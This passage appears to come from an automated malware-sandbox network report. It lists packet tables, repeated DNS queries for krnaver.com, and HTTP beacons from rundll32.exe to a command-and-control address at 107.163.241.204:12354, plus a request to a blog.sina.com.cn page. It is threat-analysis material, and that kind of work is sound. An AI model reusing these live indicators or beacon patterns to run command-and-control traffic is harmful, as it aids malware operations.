Dec 11, 2024 16:27:44.401227951 CET	80	57093	202.108.0.52	192.168.2.9
Dec 11, 2024 16:27:44.569025040 CET	55930	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:44.569071054 CET	57093	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:27:44.569099903 CET	55792	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:44.571085930 CET	57469	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:44.691420078 CET	12354	57469	107.163.241.204	192.168.2.9
Dec 11, 2024 16:27:44.691493988 CET	57469	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:44.691663980 CET	57469	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:44.713278055 CET	57498	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:27:44.714693069 CET	57499	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:44.812978983 CET	12354	57469	107.163.241.204	192.168.2.9
Dec 11, 2024 16:27:44.834500074 CET	80	57498	202.108.0.52	192.168.2.9
Dec 11, 2024 16:27:44.834579945 CET	57498	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:27:44.834762096 CET	57498	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:27:44.836400032 CET	12354	57499	107.163.241.204	192.168.2.9
Dec 11, 2024 16:27:44.836486101 CET	57499	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:44.836906910 CET	57499	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:45.073878050 CET	80	57498	202.108.0.52	192.168.2.9
Dec 11, 2024 16:27:45.073889971 CET	12354	57499	107.163.241.204	192.168.2.9
Dec 11, 2024 16:27:46.407141924 CET	80	57498	202.108.0.52	192.168.2.9
Dec 11, 2024 16:27:46.407218933 CET	57498	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:27:46.511585951 CET	58770	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:27:46.511645079 CET	443	58770	202.108.0.52	192.168.2.9
Dec 11, 2024 16:27:46.511728048 CET	58770	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:27:46.554402113 CET	58770	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:27:46.554438114 CET	443	58770	202.108.0.52	192.168.2.9
Dec 11, 2024 16:27:46.815383911 CET	12354	57469	107.163.241.204	192.168.2.9
Dec 11, 2024 16:27:46.815469980 CET	57469	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:46.820244074 CET	57469	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:46.820664883 CET	58773	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:46.939834118 CET	12354	57469	107.163.241.204	192.168.2.9
Dec 11, 2024 16:27:46.940212011 CET	12354	58773	107.163.241.204	192.168.2.9
Dec 11, 2024 16:27:46.940417051 CET	58773	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:46.957108021 CET	12354	57499	107.163.241.204	192.168.2.9
Dec 11, 2024 16:27:46.957170963 CET	57499	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:46.980535030 CET	58773	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:46.981935024 CET	57499	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:47.039376020 CET	58794	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:47.099909067 CET	12354	58773	107.163.241.204	192.168.2.9
Dec 11, 2024 16:27:47.101350069 CET	12354	57499	107.163.241.204	192.168.2.9
Dec 11, 2024 16:27:47.158967972 CET	12354	58794	107.163.241.204	192.168.2.9
Dec 11, 2024 16:27:47.159060955 CET	58794	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:47.186044931 CET	58794	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:47.305733919 CET	12354	58794	107.163.241.204	192.168.2.9
Dec 11, 2024 16:27:48.415931940 CET	443	58770	202.108.0.52	192.168.2.9
Dec 11, 2024 16:27:48.416065931 CET	58770	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:27:48.416745901 CET	443	58770	202.108.0.52	192.168.2.9
Dec 11, 2024 16:27:48.417037964 CET	58770	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:27:48.419946909 CET	58770	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:27:48.419996977 CET	443	58770	202.108.0.52	192.168.2.9
Dec 11, 2024 16:27:48.420151949 CET	443	58770	202.108.0.52	192.168.2.9
Dec 11, 2024 16:27:48.420182943 CET	58770	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:27:48.420362949 CET	58770	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:27:48.535877943 CET	57498	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:27:48.535878897 CET	59199	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:27:48.655824900 CET	80	59199	202.108.0.52	192.168.2.9
Dec 11, 2024 16:27:48.656021118 CET	59199	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:27:48.656157970 CET	80	57498	202.108.0.52	192.168.2.9
Dec 11, 2024 16:27:48.656305075 CET	57498	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:27:48.658041000 CET	59199	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:27:48.707705021 CET	58794	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:48.707734108 CET	59199	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:27:48.707911015 CET	58773	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:48.711289883 CET	59420	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:48.778968096 CET	80	59199	202.108.0.52	192.168.2.9
Dec 11, 2024 16:27:48.779197931 CET	59199	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:27:48.818707943 CET	59535	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:27:48.820123911 CET	59536	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:48.830744982 CET	12354	59420	107.163.241.204	192.168.2.9
Dec 11, 2024 16:27:48.831202030 CET	59420	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:48.831795931 CET	59420	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:48.938083887 CET	80	59535	202.108.0.52	192.168.2.9
Dec 11, 2024 16:27:48.938365936 CET	59535	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:27:48.939014912 CET	59535	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:27:48.940306902 CET	12354	59536	107.163.241.204	192.168.2.9
Dec 11, 2024 16:27:48.940871000 CET	59536	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:48.941359043 CET	59536	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:48.951160908 CET	12354	59420	107.163.241.204	192.168.2.9
Dec 11, 2024 16:27:49.058464050 CET	80	59535	202.108.0.52	192.168.2.9
Dec 11, 2024 16:27:49.060723066 CET	12354	59536	107.163.241.204	192.168.2.9
Dec 11, 2024 16:27:50.508389950 CET	80	59535	202.108.0.52	192.168.2.9
Dec 11, 2024 16:27:50.508514881 CET	59535	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:27:50.940404892 CET	12354	59420	107.163.241.204	192.168.2.9
Dec 11, 2024 16:27:50.940466881 CET	59420	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:50.951395035 CET	59420	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:51.050183058 CET	12354	59536	107.163.241.204	192.168.2.9
Dec 11, 2024 16:27:51.050237894 CET	59536	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:51.070807934 CET	12354	59420	107.163.241.204	192.168.2.9
Dec 11, 2024 16:27:51.100600004 CET	59536	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:51.219880104 CET	12354	59536	107.163.241.204	192.168.2.9

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 11, 2024 16:23:48.134955883 CET	63193	53	192.168.2.9	1.1.1.1
Dec 11, 2024 16:23:48.463033915 CET	53	63193	1.1.1.1	192.168.2.9
Dec 11, 2024 16:23:53.177128077 CET	59128	53	192.168.2.9	1.1.1.1
Dec 11, 2024 16:23:53.323084116 CET	53	59128	1.1.1.1	192.168.2.9
Dec 11, 2024 16:23:54.377567053 CET	56732	53	192.168.2.9	1.1.1.1
Dec 11, 2024 16:23:55.108138084 CET	53	56732	1.1.1.1	192.168.2.9
Dec 11, 2024 16:23:58.149368048 CET	52403	53	192.168.2.9	1.1.1.1
Dec 11, 2024 16:23:58.288192987 CET	53	52403	1.1.1.1	192.168.2.9
Dec 11, 2024 16:24:03.081752062 CET	53280	53	192.168.2.9	1.1.1.1
Dec 11, 2024 16:24:03.224092960 CET	53	53280	1.1.1.1	192.168.2.9
Dec 11, 2024 16:24:08.131623983 CET	57298	53	192.168.2.9	1.1.1.1
Dec 11, 2024 16:24:08.269882917 CET	53	57298	1.1.1.1	192.168.2.9
Dec 11, 2024 16:24:13.097973108 CET	49803	53	192.168.2.9	1.1.1.1
Dec 11, 2024 16:24:13.235120058 CET	53	49803	1.1.1.1	192.168.2.9
Dec 11, 2024 16:24:18.117557049 CET	55452	53	192.168.2.9	1.1.1.1
Dec 11, 2024 16:24:18.257143974 CET	53	55452	1.1.1.1	192.168.2.9
Dec 11, 2024 16:24:23.034487963 CET	50777	53	192.168.2.9	1.1.1.1
Dec 11, 2024 16:24:23.174499035 CET	53	50777	1.1.1.1	192.168.2.9
Dec 11, 2024 16:24:28.078454971 CET	49907	53	192.168.2.9	1.1.1.1
Dec 11, 2024 16:24:28.216144085 CET	53	49907	1.1.1.1	192.168.2.9
Dec 11, 2024 16:24:33.080496073 CET	54730	53	192.168.2.9	1.1.1.1
Dec 11, 2024 16:24:33.219189882 CET	53	54730	1.1.1.1	192.168.2.9
Dec 11, 2024 16:24:38.044671059 CET	55475	53	192.168.2.9	1.1.1.1
Dec 11, 2024 16:24:38.184889078 CET	53	55475	1.1.1.1	192.168.2.9
Dec 11, 2024 16:24:43.049757957 CET	56639	53	192.168.2.9	1.1.1.1
Dec 11, 2024 16:24:43.186640978 CET	53	56639	1.1.1.1	192.168.2.9
Dec 11, 2024 16:24:48.033945084 CET	65037	53	192.168.2.9	1.1.1.1
Dec 11, 2024 16:24:48.172885895 CET	53	65037	1.1.1.1	192.168.2.9
Dec 11, 2024 16:24:53.033766985 CET	53951	53	192.168.2.9	1.1.1.1
Dec 11, 2024 16:24:53.171343088 CET	53	53951	1.1.1.1	192.168.2.9
Dec 11, 2024 16:24:58.036268950 CET	59344	53	192.168.2.9	1.1.1.1
Dec 11, 2024 16:24:58.177948952 CET	53	59344	1.1.1.1	192.168.2.9
Dec 11, 2024 16:25:03.034158945 CET	56919	53	192.168.2.9	1.1.1.1
Dec 11, 2024 16:25:03.182950020 CET	53	56919	1.1.1.1	192.168.2.9
Dec 11, 2024 16:25:08.050052881 CET	53682	53	192.168.2.9	1.1.1.1
Dec 11, 2024 16:25:08.187616110 CET	53	53682	1.1.1.1	192.168.2.9
Dec 11, 2024 16:25:13.033826113 CET	53309	53	192.168.2.9	1.1.1.1
Dec 11, 2024 16:25:13.171004057 CET	53	53309	1.1.1.1	192.168.2.9
Dec 11, 2024 16:25:18.033634901 CET	54668	53	192.168.2.9	1.1.1.1
Dec 11, 2024 16:25:18.170556068 CET	53	54668	1.1.1.1	192.168.2.9
Dec 11, 2024 16:25:23.033405066 CET	49388	53	192.168.2.9	1.1.1.1
Dec 11, 2024 16:25:23.171688080 CET	53	49388	1.1.1.1	192.168.2.9
Dec 11, 2024 16:25:28.034729958 CET	64520	53	192.168.2.9	1.1.1.1
Dec 11, 2024 16:25:28.176424026 CET	53	64520	1.1.1.1	192.168.2.9
Dec 11, 2024 16:25:33.036647081 CET	65190	53	192.168.2.9	1.1.1.1
Dec 11, 2024 16:25:33.174803019 CET	53	65190	1.1.1.1	192.168.2.9
Dec 11, 2024 16:25:38.033790112 CET	60548	53	192.168.2.9	1.1.1.1
Dec 11, 2024 16:25:38.172979116 CET	53	60548	1.1.1.1	192.168.2.9
Dec 11, 2024 16:25:43.180083990 CET	62602	53	192.168.2.9	1.1.1.1
Dec 11, 2024 16:25:43.317728043 CET	53	62602	1.1.1.1	192.168.2.9
Dec 11, 2024 16:25:48.033415079 CET	62680	53	192.168.2.9	1.1.1.1
Dec 11, 2024 16:25:48.170696020 CET	53	62680	1.1.1.1	192.168.2.9
Dec 11, 2024 16:25:53.033035040 CET	63655	53	192.168.2.9	1.1.1.1
Dec 11, 2024 16:25:53.170140982 CET	53	63655	1.1.1.1	192.168.2.9
Dec 11, 2024 16:25:58.033778906 CET	50192	53	192.168.2.9	1.1.1.1
Dec 11, 2024 16:25:58.170383930 CET	53	50192	1.1.1.1	192.168.2.9
Dec 11, 2024 16:26:03.421081066 CET	56981	53	192.168.2.9	1.1.1.1
Dec 11, 2024 16:26:03.560072899 CET	53	56981	1.1.1.1	192.168.2.9
Dec 11, 2024 16:26:08.033699036 CET	63380	53	192.168.2.9	1.1.1.1
Dec 11, 2024 16:26:08.170670986 CET	53	63380	1.1.1.1	192.168.2.9
Dec 11, 2024 16:26:13.047230959 CET	51914	53	192.168.2.9	1.1.1.1
Dec 11, 2024 16:26:13.186279058 CET	53	51914	1.1.1.1	192.168.2.9
Dec 11, 2024 16:26:18.036427975 CET	65027	53	192.168.2.9	1.1.1.1
Dec 11, 2024 16:26:18.416712046 CET	53	65027	1.1.1.1	192.168.2.9
Dec 11, 2024 16:26:23.032952070 CET	51053	53	192.168.2.9	1.1.1.1
Dec 11, 2024 16:26:23.169904947 CET	53	51053	1.1.1.1	192.168.2.9
Dec 11, 2024 16:26:28.034754038 CET	58821	53	192.168.2.9	1.1.1.1
Dec 11, 2024 16:26:28.172286987 CET	53	58821	1.1.1.1	192.168.2.9
Dec 11, 2024 16:26:33.034229994 CET	52806	53	192.168.2.9	1.1.1.1
Dec 11, 2024 16:26:33.171458960 CET	53	52806	1.1.1.1	192.168.2.9
Dec 11, 2024 16:26:38.033224106 CET	64561	53	192.168.2.9	1.1.1.1
Dec 11, 2024 16:26:38.170221090 CET	53	64561	1.1.1.1	192.168.2.9
Dec 11, 2024 16:26:43.044070005 CET	54069	53	192.168.2.9	1.1.1.1
Dec 11, 2024 16:26:43.181580067 CET	53	54069	1.1.1.1	192.168.2.9
Dec 11, 2024 16:26:48.123034954 CET	55464	53	192.168.2.9	1.1.1.1
Dec 11, 2024 16:26:48.260138035 CET	53	55464	1.1.1.1	192.168.2.9
Dec 11, 2024 16:26:53.033762932 CET	59958	53	192.168.2.9	1.1.1.1
Dec 11, 2024 16:26:53.171478987 CET	53	59958	1.1.1.1	192.168.2.9
Dec 11, 2024 16:26:58.087189913 CET	62398	53	192.168.2.9	1.1.1.1
Dec 11, 2024 16:26:58.225267887 CET	53	62398	1.1.1.1	192.168.2.9
Dec 11, 2024 16:27:03.033389091 CET	51138	53	192.168.2.9	1.1.1.1
Dec 11, 2024 16:27:03.170698881 CET	53	51138	1.1.1.1	192.168.2.9
Dec 11, 2024 16:27:04.398503065 CET	58517	53	192.168.2.9	1.1.1.1
Dec 11, 2024 16:27:04.536482096 CET	53	58517	1.1.1.1	192.168.2.9
Dec 11, 2024 16:27:08.033149958 CET	54746	53	192.168.2.9	1.1.1.1
Dec 11, 2024 16:27:08.169969082 CET	53	54746	1.1.1.1	192.168.2.9
Dec 11, 2024 16:27:13.033689976 CET	59893	53	192.168.2.9	1.1.1.1
Dec 11, 2024 16:27:13.172096014 CET	53	59893	1.1.1.1	192.168.2.9
Dec 11, 2024 16:27:18.033071041 CET	61109	53	192.168.2.9	1.1.1.1
Dec 11, 2024 16:27:18.191616058 CET	53	61109	1.1.1.1	192.168.2.9
Dec 11, 2024 16:27:23.033158064 CET	54148	53	192.168.2.9	1.1.1.1
Dec 11, 2024 16:27:23.172271967 CET	53	54148	1.1.1.1	192.168.2.9
Dec 11, 2024 16:27:28.035818100 CET	52929	53	192.168.2.9	1.1.1.1
Dec 11, 2024 16:27:28.175961018 CET	53	52929	1.1.1.1	192.168.2.9
Dec 11, 2024 16:27:33.033041954 CET	50450	53	192.168.2.9	1.1.1.1
Dec 11, 2024 16:27:33.169715881 CET	53	50450	1.1.1.1	192.168.2.9
Dec 11, 2024 16:27:38.036232948 CET	57399	53	192.168.2.9	1.1.1.1
Dec 11, 2024 16:27:38.173353910 CET	53	57399	1.1.1.1	192.168.2.9
Dec 11, 2024 16:27:43.033835888 CET	62969	53	192.168.2.9	1.1.1.1
Dec 11, 2024 16:27:43.170574903 CET	53	62969	1.1.1.1	192.168.2.9
Dec 11, 2024 16:27:48.038427114 CET	58657	53	192.168.2.9	1.1.1.1
Dec 11, 2024 16:27:48.175087929 CET	53	58657	1.1.1.1	192.168.2.9

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 11, 2024 16:23:48.134955883 CET	192.168.2.9	1.1.1.1	0x37f6	Standard query (0)	krnaver.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 16:23:53.177128077 CET	192.168.2.9	1.1.1.1	0xbe6a	Standard query (0)	krnaver.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 16:23:54.377567053 CET	192.168.2.9	1.1.1.1	0x9502	Standard query (0)	blog.sina.com.cn	A (IP address)	IN (0x0001)	false
Dec 11, 2024 16:23:58.149368048 CET	192.168.2.9	1.1.1.1	0x9ce2	Standard query (0)	krnaver.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 16:24:03.081752062 CET	192.168.2.9	1.1.1.1	0x6357	Standard query (0)	krnaver.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 16:24:08.131623983 CET	192.168.2.9	1.1.1.1	0x8362	Standard query (0)	krnaver.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 16:24:13.097973108 CET	192.168.2.9	1.1.1.1	0x7a94	Standard query (0)	krnaver.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 16:24:18.117557049 CET	192.168.2.9	1.1.1.1	0x841a	Standard query (0)	krnaver.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 16:24:23.034487963 CET	192.168.2.9	1.1.1.1	0x1abf	Standard query (0)	krnaver.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 16:24:28.078454971 CET	192.168.2.9	1.1.1.1	0xc383	Standard query (0)	krnaver.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 16:24:33.080496073 CET	192.168.2.9	1.1.1.1	0xdcc4	Standard query (0)	krnaver.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 16:24:38.044671059 CET	192.168.2.9	1.1.1.1	0xe252	Standard query (0)	krnaver.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 16:24:43.049757957 CET	192.168.2.9	1.1.1.1	0x32d	Standard query (0)	krnaver.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 16:24:48.033945084 CET	192.168.2.9	1.1.1.1	0x7482	Standard query (0)	krnaver.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 16:24:53.033766985 CET	192.168.2.9	1.1.1.1	0x48dc	Standard query (0)	krnaver.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 16:24:58.036268950 CET	192.168.2.9	1.1.1.1	0xeb77	Standard query (0)	krnaver.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 16:25:03.034158945 CET	192.168.2.9	1.1.1.1	0x18f8	Standard query (0)	krnaver.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 16:25:08.050052881 CET	192.168.2.9	1.1.1.1	0x3bc2	Standard query (0)	krnaver.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 16:25:13.033826113 CET	192.168.2.9	1.1.1.1	0x844f	Standard query (0)	krnaver.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 16:25:18.033634901 CET	192.168.2.9	1.1.1.1	0x3b4b	Standard query (0)	krnaver.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 16:25:23.033405066 CET	192.168.2.9	1.1.1.1	0x3674	Standard query (0)	krnaver.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 16:25:28.034729958 CET	192.168.2.9	1.1.1.1	0x6179	Standard query (0)	krnaver.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 16:25:33.036647081 CET	192.168.2.9	1.1.1.1	0x2c4d	Standard query (0)	krnaver.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 16:25:38.033790112 CET	192.168.2.9	1.1.1.1	0xb426	Standard query (0)	krnaver.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 16:25:43.180083990 CET	192.168.2.9	1.1.1.1	0xe232	Standard query (0)	krnaver.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 16:25:48.033415079 CET	192.168.2.9	1.1.1.1	0xa5ef	Standard query (0)	krnaver.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 16:25:53.033035040 CET	192.168.2.9	1.1.1.1	0xcf6c	Standard query (0)	krnaver.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 16:25:58.033778906 CET	192.168.2.9	1.1.1.1	0x8b87	Standard query (0)	krnaver.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 16:26:03.421081066 CET	192.168.2.9	1.1.1.1	0x425b	Standard query (0)	krnaver.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 16:26:08.033699036 CET	192.168.2.9	1.1.1.1	0x7f80	Standard query (0)	krnaver.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 16:26:13.047230959 CET	192.168.2.9	1.1.1.1	0xd1cc	Standard query (0)	krnaver.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 16:26:18.036427975 CET	192.168.2.9	1.1.1.1	0xb017	Standard query (0)	krnaver.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 16:26:23.032952070 CET	192.168.2.9	1.1.1.1	0xd7db	Standard query (0)	krnaver.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 16:26:28.034754038 CET	192.168.2.9	1.1.1.1	0xe63d	Standard query (0)	krnaver.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 16:26:33.034229994 CET	192.168.2.9	1.1.1.1	0x7716	Standard query (0)	krnaver.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 16:26:38.033224106 CET	192.168.2.9	1.1.1.1	0xd245	Standard query (0)	krnaver.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 16:26:43.044070005 CET	192.168.2.9	1.1.1.1	0x77d7	Standard query (0)	krnaver.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 16:26:48.123034954 CET	192.168.2.9	1.1.1.1	0xf21e	Standard query (0)	krnaver.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 16:26:53.033762932 CET	192.168.2.9	1.1.1.1	0xe89e	Standard query (0)	krnaver.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 16:26:58.087189913 CET	192.168.2.9	1.1.1.1	0xd218	Standard query (0)	krnaver.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 16:27:03.033389091 CET	192.168.2.9	1.1.1.1	0x79bc	Standard query (0)	krnaver.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 16:27:04.398503065 CET	192.168.2.9	1.1.1.1	0x93ec	Standard query (0)	blog.sina.com.cn	A (IP address)	IN (0x0001)	false
Dec 11, 2024 16:27:08.033149958 CET	192.168.2.9	1.1.1.1	0x5659	Standard query (0)	krnaver.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 16:27:13.033689976 CET	192.168.2.9	1.1.1.1	0xe6ee	Standard query (0)	krnaver.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 16:27:18.033071041 CET	192.168.2.9	1.1.1.1	0x351b	Standard query (0)	krnaver.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 16:27:23.033158064 CET	192.168.2.9	1.1.1.1	0x8553	Standard query (0)	krnaver.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 16:27:28.035818100 CET	192.168.2.9	1.1.1.1	0x75b1	Standard query (0)	krnaver.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 16:27:33.033041954 CET	192.168.2.9	1.1.1.1	0xc5f7	Standard query (0)	krnaver.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 16:27:38.036232948 CET	192.168.2.9	1.1.1.1	0xca72	Standard query (0)	krnaver.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 16:27:43.033835888 CET	192.168.2.9	1.1.1.1	0xc0e4	Standard query (0)	krnaver.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 16:27:48.038427114 CET	192.168.2.9	1.1.1.1	0xeed6	Standard query (0)	krnaver.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 11, 2024 16:23:40.049406052 CET	1.1.1.1	192.168.2.9	0xd84b	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 11, 2024 16:23:40.049406052 CET	1.1.1.1	192.168.2.9	0xd84b	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Dec 11, 2024 16:23:55.108138084 CET	1.1.1.1	192.168.2.9	0x9502	No error (0)	blog.sina.com.cn	blogx.sina.com.cn		CNAME (Canonical name)	IN (0x0001)	false
Dec 11, 2024 16:23:55.108138084 CET	1.1.1.1	192.168.2.9	0x9502	No error (0)	blogx.sina.com.cn		202.108.0.52	A (IP address)	IN (0x0001)	false
Dec 11, 2024 16:27:04.536482096 CET	1.1.1.1	192.168.2.9	0x93ec	No error (0)	blog.sina.com.cn	blogx.sina.com.cn		CNAME (Canonical name)	IN (0x0001)	false
Dec 11, 2024 16:27:04.536482096 CET	1.1.1.1	192.168.2.9	0x93ec	No error (0)	blogx.sina.com.cn		202.108.0.52	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

blog.sina.com.cn

107.163.241.204:12354

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.9	49750	107.163.241.204	12354	7556	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:23:51.775649071 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.9	49751	107.163.241.204	12354	7556	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:23:51.775754929 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.9	49772	107.163.241.204	12354	7556	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:23:54.125768900 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.9	49773	107.163.241.204	12354	7556	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:23:54.125861883 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.9	49784	202.108.0.52	80	7556	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:23:55.231003046 CET	118	OUT	GET /u/5655029807 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) Host: blog.sina.com.cn
Dec 11, 2024 16:23:56.789465904 CET	371	IN	HTTP/1.1 302 Moved Temporarily Server: nginx/1.2.8 Date: Wed, 11 Dec 2024 15:23:56 GMT Content-Type: text/html Content-Length: 160 Connection: keep-alive Location: https://blog.sina.com.cn/u/5655029807 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 2e 38 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body 